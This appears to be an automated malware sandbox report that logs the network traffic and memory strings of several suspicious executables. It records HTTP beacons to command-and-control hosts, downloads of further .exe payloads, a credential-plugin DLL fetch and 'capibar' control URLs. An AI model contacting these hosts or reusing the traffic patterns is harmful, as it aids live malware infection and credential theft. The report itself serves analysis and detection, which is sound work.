Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uswhy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 205Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vqmqnwq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 272Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ulfdnrx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 284Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vyvnhyowq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 138Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mpjbq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 236Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://smapchtl.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 339Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jeacjnamm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 175Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://awifxkoma.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 236Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/7729_1642101604_1835.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aoummij.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 240Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://omefw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 196Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /7.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: a0621298.xsph.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bgprljhr.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 345Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lptdnkjgh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 178Host: host-data-coin-11.com

Source: global traffic	TCP traffic: 192.168.2.4:49797 -> 185.7.214.171:8080
Source: global traffic	TCP traffic: 192.168.2.4:49882 -> 86.107.197.138:38133

Source: unknown

Network traffic detected: IP country count 10

Source: global traffic

TCP traffic: 192.168.2.4:49844 -> 40.93.207.0:25

Source: 5C89.exe, 00000026.00000002.987388003.0000000002FDE000.00000004.00000020.sdmp	String found in binary or memory: http://178.62.113.205/capibar
Source: 5C89.exe, 00000026.00000002.987388003.0000000002FDE000.00000004.00000020.sdmp	String found in binary or memory: http://178.62.113.205/capibard
Source: 5C89.exe, 00000026.00000002.987388003.0000000002FDE000.00000004.00000020.sdmp	String found in binary or memory: http://185.163.204.22/capibar
Source: 5C89.exe, 00000026.00000002.987388003.0000000002FDE000.00000004.00000020.sdmp	String found in binary or memory: http://185.163.204.22/capibarp
Source: 5C89.exe, 00000026.00000002.1045877274.0000000005215000.00000004.00000001.sdmp, 5C89.exe, 00000026.00000002.1043200803.0000000005200000.00000004.00000001.sdmp, 5C89.exe, 00000026.00000002.1044509910.000000000520A000.00000004.00000001.sdmp	String found in binary or memory: http://185.163.204.24/
Source: 5C89.exe, 00000026.00000002.1045877274.0000000005215000.00000004.00000001.sdmp	String found in binary or memory: http://185.163.204.24//l/f/S2zKVH4BZ2GIX1a3NFPE/71fe7726da53cb25be1ef5cfcccec20e728d94fe
Source: 5C89.exe, 00000026.00000002.1045877274.0000000005215000.00000004.00000001.sdmp	String found in binary or memory: http://185.163.204.24//l/f/S2zKVH4BZ2GIX1a3NFPE/724da1c439bafff55600e6bd8e8cc799e96c0335
Source: 5C89.exe, 00000026.00000002.1049327482.0000000005239000.00000004.00000001.sdmp	String found in binary or memory: http://185.163.204.24//l/f/S2zKVH4BZ2GIX1a3NFPE/724da1c439bafff55600e6bd8e8cc799e96c03351
Source: 5C89.exe, 00000026.00000002.1043200803.0000000005200000.00000004.00000001.sdmp	String found in binary or memory: http://185.163.204.24/22
Source: 5C89.exe, 00000026.00000002.987388003.0000000002FDE000.00000004.00000020.sdmp	String found in binary or memory: http://185.163.45.70/capibar
Source: 5C89.exe, 00000026.00000002.987388003.0000000002FDE000.00000004.00000020.sdmp	String found in binary or memory: http://185.163.45.70/capibarvg
Source: WerFault.exe, 0000000F.00000003.800924790.0000000004DB9000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000002.804189922.0000000004DB9000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000002.825450760.000001C021700000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 0000001C.00000002.825450760.000001C021700000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 0000001C.00000003.801590976.000001C02177D000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801757401.000001C021C02000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801683194.000001C0217BE000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801724830.000001C02179E000.00000004.00000001.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: 5C89.exe, 00000026.00000002.1045877274.0000000005215000.00000004.00000001.sdmp	String found in binary or memory: https://185.163.204.22/capibar
Source: 5C89.exe, 00000026.00000002.1049327482.0000000005239000.00000004.00000001.sdmp	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=8072167097284;g
Source: F65C.exe, 00000023.00000003.928189682.0000000003A98000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.927383857.0000000003A27000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.928819384.0000000003B0A000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.929405321.0000000003B7B000.00000004.00000001.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: F65C.exe, 00000012.00000002.825741767.0000000003F01000.00000004.00000001.sdmp, F65C.exe, 00000023.00000000.820336133.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: F65C.exe, 00000023.00000003.928189682.0000000003A98000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.927383857.0000000003A27000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.928819384.0000000003B0A000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.929405321.0000000003B7B000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 5C89.exe, 00000026.00000002.987388003.0000000002FDE000.00000004.00000020.sdmp	String found in binary or memory: https://consent.google.com/?hl=en-GB&origin=https://www.google.com&continue=https://www.google.com/?
Source: 5C89.exe, 00000026.00000002.1049327482.0000000005239000.00000004.00000001.sdmp	String found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2
Source: 5C89.exe, 00000026.00000002.1049327482.0000000005239000.00000004.00000001.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1
Source: svchost.exe, 0000001C.00000003.801590976.000001C02177D000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801757401.000001C021C02000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801683194.000001C0217BE000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801724830.000001C02179E000.00000004.00000001.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: F65C.exe, 00000023.00000003.928189682.0000000003A98000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.927383857.0000000003A27000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.928819384.0000000003B0A000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.929405321.0000000003B7B000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: F65C.exe, 00000023.00000003.928189682.0000000003A98000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.927383857.0000000003A27000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.928819384.0000000003B0A000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.929405321.0000000003B7B000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: F65C.exe, 00000023.00000003.928189682.0000000003A98000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.927383857.0000000003A27000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.928819384.0000000003B0A000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.929405321.0000000003B7B000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 5C89.exe, 00000026.00000002.1045877274.0000000005215000.00000004.00000001.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto:400
Source: F65C.exe, 00000023.00000003.928189682.0000000003A98000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.927383857.0000000003A27000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.928819384.0000000003B0A000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.929405321.0000000003B7B000.00000004.00000001.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: F65C.exe, 00000023.00000003.928189682.0000000003A98000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.927383857.0000000003A27000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.928819384.0000000003B0A000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.929405321.0000000003B7B000.00000004.00000001.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 5C89.exe, 00000026.00000002.1043200803.0000000005200000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: 5C89.exe, 00000026.00000002.987388003.0000000002FDE000.00000004.00000020.sdmp	String found in binary or memory: https://t.me/capibar
Source: 5C89.exe, 00000026.00000002.1045877274.0000000005215000.00000004.00000001.sdmp	String found in binary or memory: https://telegram.org/img/t_logo.png
Source: svchost.exe, 0000001C.00000003.801590976.000001C02177D000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801757401.000001C021C02000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801683194.000001C0217BE000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801724830.000001C02179E000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 0000001C.00000003.801590976.000001C02177D000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801757401.000001C021C02000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801683194.000001C0217BE000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801724830.000001C02179E000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: 5C89.exe, 00000026.00000002.1043200803.0000000005200000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/gws_rd=ssl
Source: F65C.exe, 00000023.00000003.928189682.0000000003A98000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.927383857.0000000003A27000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.928819384.0000000003B0A000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.929405321.0000000003B7B000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 5C89.exe, 00000026.00000002.1049327482.0000000005239000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/intl/en_uk/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrows
Source: svchost.exe, 0000001C.00000003.802948696.000001C02178F000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.802872605.000001C0217A6000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.803050058.000001C021C02000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.802727525.000001C0217A6000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.802640576.000001C021759000.00000004.00000001.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: unknown

DNS traffic detected: queries for: host-data-coin-11.com

Source: C:\Users\user\AppData\Local\Temp\DB31.exe

Code function: 16_2_00404BE0 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetSetOptionA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,InternetConnectA,InternetConnectA,HttpOpenRequestA,HttpOpenRequestA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrlen,lstrlen,GetProcessHeap,RtlAllocateHeap,lstrlen,memcpy,lstrlen,memcpy,lstrlen,lstrlen,memcpy,lstrlen,HttpSendRequestA,HttpQueryInfoA,StrCmpCA,Sleep,InternetReadFile,lstrcat,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

16_2_00404BE0

Source: global traffic	HTTP traffic detected: GET /files/9030_1641816409_7037.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /files/8474_1641976243_3082.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /9.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: a0621298.xsph.ru
Source: global traffic	HTTP traffic detected: GET /d2VxjasuwS/plugins/cred.dll HTTP/1.1Host: 185.215.113.35
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /capibar HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: 185.163.204.22
Source: global traffic	HTTP traffic detected: GET /files/7729_1642101604_1835.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /capibar HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: 185.163.204.22
Source: global traffic	HTTP traffic detected: GET //l/f/S2zKVH4BZ2GIX1a3NFPE/71fe7726da53cb25be1ef5cfcccec20e728d94fe HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 185.163.204.24
Source: global traffic	HTTP traffic detected: GET /7.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: a0621298.xsph.ru
Source: global traffic	HTTP traffic detected: GET //l/f/S2zKVH4BZ2GIX1a3NFPE/724da1c439bafff55600e6bd8e8cc799e96c0335 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 185.163.204.24

Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:24:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f6 1a b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:24:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a 88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 2dI:82OI:J_J-WS,/0
